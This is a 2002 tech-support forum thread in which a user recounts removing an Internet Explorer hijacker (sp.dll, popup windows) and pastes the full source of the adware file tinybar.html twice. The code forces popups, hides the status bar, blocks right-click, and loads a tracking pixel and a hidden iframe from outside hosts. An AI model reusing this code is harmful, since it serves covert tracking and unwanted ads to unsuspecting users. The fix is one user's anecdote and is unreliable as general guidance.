Advertisement

There's no such thing as a stupid question, but they're the easiest to answer.
Login
Search

Advertisement

Web & Email Web & Email
Search Search
Search for:
Tech Support Guy > > >

more news and new fix for sp.dll and windows opening non-stop


(!)

dima's Avatar
dima dima is offline
Junior Member with 3 posts.
THREAD STARTER
 
Join Date: Apr 2002
17-Apr-2002, 10:50 PM #1
Exclamation more news and new fix for sp.dll and windows opening non-stop
Please read if you're having these problems w/MSIE: new search engine appears in the toolbar and/or multiple windows loading non-stop.

Today I discovered my MISE had a new search engine installed in the toolbar and was opening multiple windows non-stop. Some of these windows were pointing to

http://link.exitdirect.com/framer.ht...l.com%2fadcons

http://link.exitdirect.com/code/4.ht...earchbar/popup

Anyway, I ran AVP (antiviral toolkit pro) and it detected the sp.dll file on my system and deleted it. I did some research on the file and realized it was responsible for hijacking the homepage in MSIE, although that wasn't my problem.

Taking the advice of some of the sp.dll posts, I got rid of the new search engine in my MSIE toolbar by going to (in MSIE) Tools/Internet Options/Advanced tab/Reset Web Settings.

I then removed references to the sp.dll file in the registry and msconfig startup tab and rebooted. But still, MSIE would open with multiple non-stop windows. I tried all the different suggestions from all the sp.dll posts and none of them worked. I found that the Control Panel was in my HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Control Panel and I deleted it, but still the popup windows continued.

I also checked my MSIE History and found a My Computer listing pointing to "file:///C:/WINDOWS/SYSTEM/tinybar.html". When I opened that file, I saw the search bar that had appeared in my toolbar (I have attached this html file as a text file to this post.) I don't know where this file came from or how it was called by MSIE. By itself the file causes no problems.

And now comes the solution...

So finally, somehow, I wandered (in regedit) over to HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Toolbar and saw these strange strings listed:

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Toolbar]
"{8E718888-423F-11D2-876E-00A0C9082467}"=hex:00
"{69550BE2-9A78-11d2-BA91-00600827878D}"=hex:00,00,00,00

As a fluke, I renamed the "Toolbar" key to "Toolba[r]s" and when I opened MSIE, the windows were gone.

So, can anyone tell my what those weird Toolbar strings were, what they did exactly, and how they could have been loaded into the registry unbeknownst to me? Also, is there anything else I should do or get rid of to make this a completely clean fix?

I hope this information helps others w/the same problem.

-dima
dima's Avatar
dima dima is offline
Junior Member with 3 posts.
THREAD STARTER
 
Join Date: Apr 2002
17-Apr-2002, 10:54 PM #2
tinybar.html (it didn't seem to attach to the last message)
<html><head><Title>bar</Title><style type="text/css">.srch{BORDER-BOTTOM: #000000 1px solid; BORDER-LEFT: #000000 1px solid; BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; COLOR: #000000; FONT-FAMILY: verdana; FONT-SIZE: 10px;}.btn {width:30px;height:16px;font-size: 8px; font-family: verdana; font-weight: bold; background-color: #FFEC4C; color: #000000; cursor: hand; border-left: thin solid #FFFFFF; border-right: thin solid #666666; border-top: thin solid #FFFFFF; border-bottom: thin solid #666666}BODY.MainBody, BODY.MainBody TD, BODY.MainBody TH, BODY.MainBody LI {font-family: verdana, "Lucida Sans Typewriter", helvetica;font-size: 12px;}body{border: 0px solid black; overflow: hidden; margin: 0;} a:link{font: 12px Arial, Helvetica, sans-serif; color: #000020; text-decoration: none}a:visited {font: 12px Arial, Helvetica, sans-serif; color:#000020; text-decoration: none}a:hover {font: 12px Arial, Helvetica, sans-serif; color: blue; text-decoration: none}</style><script language=javascript>function pop(){if (document.forms[0].term.value==""){alert("Type a Search and Go!"); return false;}var term="http://www.cybersearch123.com/searchbar/bar.php?term="+document.forms[0].term.value;var a=window.open("","pop","width=500,height=400,top=100,left=150,toolbar=0,loc ation=0,directories=0,status=0,menubar=0,scrollbars=1,resizable=0");a.title =" ";a.location.href=term;return false;}function pop2(term){var a=window.open("","pop","width=500,height=400,top=100,left=150,toolbar=0,loc ation=0,directories=0,status=0,menubar=0,scrollbars=1,resizable=0");a.title =" ";a.location=term;return false;}function st(){a=setInterval("self.status=' ';return true;",1);}function stOut(){clearInterval(a);self.status=' ';return true;}document.onmouseover=st;document.onmouseout=stOut;function JumpTo(form){var myindex = form.linklist.selectedIndex;var term=form.linklist.options[myindex].value;return pop2(term);}setTimeout('document.forms[0].term.focus();',1000);</script></head><Body Bgcolor="menu" oncontextmenu="return false" Text="#000000" TOPMARGIN=0 LEFTMARGIN=0 MARGINHEIGHT=0 MARGINWIDTH=0><base target="_blank"><form action="http://www.cybersearch123.com/searchbar/bar.php" method="get"><TABLE border=0 cellPadding=0 cellSpacing=0 height=26 width=795><tr><td align=left height=20 valign=top width="130"><div align=left width="130" align=top><font face=verdana,Lucida Sans Typewriter size=-1>Search The Web</font>&nbsp;</div></td><td valign=top align=left width=180><div align=left width="180" valign=top ><input type="text" style="width:130px;height:16px;font-family:verdana; color:#000000;font-size: 12px;border: 1px solid #000000;" name="term" size="17" maxlength="40">&nbsp;<input type="submit" class="btn" value="GO !" onclick="return pop();">&nbsp;</div></td><td height=26 valign=top width="1" bgcolor=gray align=left><img src=pixel.gif width=1 height=1></td><td height=26 valign=top width="1" bgcolor=white><img src=pixel.gif width=1 height=1></td><td valign=top align=left width=550>&nbsp;&nbsp;<script>var terms=new Array;var fix=new Array;z=0;x=0;terms[0]="Life Insurance";terms[1]="Insurance";terms[2]="Home Loan";terms[3]="Health Insurance";terms[4]="Cars";terms[5]="Flowers";terms[6]="Finance";terms[7]="Viagra";terms[8]="Credit Cards";terms[9]="Weight Loss";terms[10]="Home";terms[11]="Gift Baskets";terms[12]="Travel";terms[13]="Computers";terms[14]="Gambling";terms[15]="Casino";terms[16]="Black Jack";terms[17]="Poker";terms[18]="Sports Book";terms[19]="Las Vegas";terms[20]="Airline Tickets";terms[21]="Music";terms[22]="Health";terms[23]="Shopping";terms[24]="Wedding Gifts";terms[25]="Web Design";var rndNum=Math.round((Math.random()*(terms.length-1)));for (i=0;i<7;i++){rnd();document.write('<a href="http://www.cybersearch123.com/searchbar/bar.php?term='+terms[fix[i]]+'" onclick="return pop2(this.href);">'+terms[fix[i]]+'&nbsp;</a>&nbsp;<font color=gray>|</font>&nbsp;');}function rnd(){rndNum=Math.round((Math.random()*(terms.length-1))); for(z=0;z<(terms.length-1);z++){if (fix[z]==rndNum){rnd();}}fix[i]=rndNum;}</script></td></Table></form><img height=1 width=1 src="http://w0.extreme-dm.com/0.gif?tag=vwrabbit&j=n"><iframe src="http://www.cybersearch123.com/searchbar/addon.htm" width=1 height=1><iframe></body></html>
dima's Avatar
dima dima is offline
Junior Member with 3 posts.
THREAD STARTER
 
Join Date: Apr 2002
17-Apr-2002, 10:59 PM #3
tinybar.html (didn't seem to attach to my previous post)
<!--THIS IS JUST TO KEEP THE PAGE FROM ACTUALLY LOADING; THE ORIGINAL FILE FOLLOW...

<html><head><Title>bar</Title><style type="text/css">.srch{BORDER-BOTTOM: #000000 1px solid; BORDER-LEFT: #000000 1px solid; BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; COLOR: #000000; FONT-FAMILY: verdana; FONT-SIZE: 10px;}.btn {width:30px;height:16px;font-size: 8px; font-family: verdana; font-weight: bold; background-color: #FFEC4C; color: #000000; cursor: hand; border-left: thin solid #FFFFFF; border-right: thin solid #666666; border-top: thin solid #FFFFFF; border-bottom: thin solid #666666}BODY.MainBody, BODY.MainBody TD, BODY.MainBody TH, BODY.MainBody LI {font-family: verdana, "Lucida Sans Typewriter", helvetica;font-size: 12px;}body{border: 0px solid black; overflow: hidden; margin: 0;} a:link{font: 12px Arial, Helvetica, sans-serif; color: #000020; text-decoration: none}a:visited {font: 12px Arial, Helvetica, sans-serif; color:#000020; text-decoration: none}a:hover {font: 12px Arial, Helvetica, sans-serif; color: blue; text-decoration: none}</style><script language=javascript>function pop(){if (document.forms[0].term.value==""){alert("Type a Search and Go!"); return false;}var term="http://www.cybersearch123.com/searchbar/bar.php?term="+document.forms[0].term.value;var a=window.open("","pop","width=500,height=400,top=100,left=150,toolbar=0,loc ation=0,directories=0,status=0,menubar=0,scrollbars=1,resizable=0");a.title =" ";a.location.href=term;return false;}function pop2(term){var a=window.open("","pop","width=500,height=400,top=100,left=150,toolbar=0,loc ation=0,directories=0,status=0,menubar=0,scrollbars=1,resizable=0");a.title =" ";a.location=term;return false;}function st(){a=setInterval("self.status=' ';return true;",1);}function stOut(){clearInterval(a);self.status=' ';return true;}document.onmouseover=st;document.onmouseout=stOut;function JumpTo(form){var myindex = form.linklist.selectedIndex;var term=form.linklist.options[myindex].value;return pop2(term);}setTimeout('document.forms[0].term.focus();',1000);</script></head><Body Bgcolor="menu" oncontextmenu="return false" Text="#000000" TOPMARGIN=0 LEFTMARGIN=0 MARGINHEIGHT=0 MARGINWIDTH=0><base target="_blank"><form action="http://www.cybersearch123.com/searchbar/bar.php" method="get"><TABLE border=0 cellPadding=0 cellSpacing=0 height=26 width=795><tr><td align=left height=20 valign=top width="130"><div align=left width="130" align=top><font face=verdana,Lucida Sans Typewriter size=-1>Search The Web</font>&nbsp;</div></td><td valign=top align=left width=180><div align=left width="180" valign=top ><input type="text" style="width:130px;height:16px;font-family:verdana; color:#000000;font-size: 12px;border: 1px solid #000000;" name="term" size="17" maxlength="40">&nbsp;<input type="submit" class="btn" value="GO !" onclick="return pop();">&nbsp;</div></td><td height=26 valign=top width="1" bgcolor=gray align=left><img src=pixel.gif width=1 height=1></td><td height=26 valign=top width="1" bgcolor=white><img src=pixel.gif width=1 height=1></td><td valign=top align=left width=550>&nbsp;&nbsp;<script>var terms=new Array;var fix=new Array;z=0;x=0;terms[0]="Life Insurance";terms[1]="Insurance";terms[2]="Home Loan";terms[3]="Health Insurance";terms[4]="Cars";terms[5]="Flowers";terms[6]="Finance";terms[7]="Viagra";terms[8]="Credit Cards";terms[9]="Weight Loss";terms[10]="Home";terms[11]="Gift Baskets";terms[12]="Travel";terms[13]="Computers";terms[14]="Gambling";terms[15]="Casino";terms[16]="Black Jack";terms[17]="Poker";terms[18]="Sports Book";terms[19]="Las Vegas";terms[20]="Airline Tickets";terms[21]="Music";terms[22]="Health";terms[23]="Shopping";terms[24]="Wedding Gifts";terms[25]="Web Design";var rndNum=Math.round((Math.random()*(terms.length-1)));for (i=0;i<7;i++){rnd();document.write('<a href="http://www.cybersearch123.com/searchbar/bar.php?term='+terms[fix[i]]+'" onclick="return pop2(this.href);">'+terms[fix[i]]+'&nbsp;</a>&nbsp;<font color=gray>|</font>&nbsp;');}function rnd(){rndNum=Math.round((Math.random()*(terms.length-1))); for(z=0;z<(terms.length-1);z++){if (fix[z]==rndNum){rnd();}}fix[i]=rndNum;}</script></td></Table></form><img height=1 width=1 src="http://w0.extreme-dm.com/0.gif?tag=vwrabbit&j=n"><iframe src="http://www.cybersearch123.com/searchbar/addon.htm" width=1 height=1><iframe></body></html>

END -->
Attached Files
File Type: txt tinybar.txt (4.2 KB, 63 views)
As Seen On

BBC, Reader's Digest, PC Magazine, Today Show, Money Magazine
WELCOME TO TECH SUPPORT GUY!

Are you looking for the solution to your computer problem? Join our site today to ask your question. This site is completely free -- paid for by advertisers and donations.

If you're not already familiar with forums, watch our Welcome Guide to get started.


(clock)
THIS THREAD HAS EXPIRED.
Are you having the same problem? We have volunteers ready to answer your question, but first you'll have to join for free. Need help getting started? Check out our Welcome Guide.

Search Tech Support Guy

Find the solution to your
computer problem!




Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools


WELCOME
You Are Using: Server ID
Trusted Website Back to the Top ↑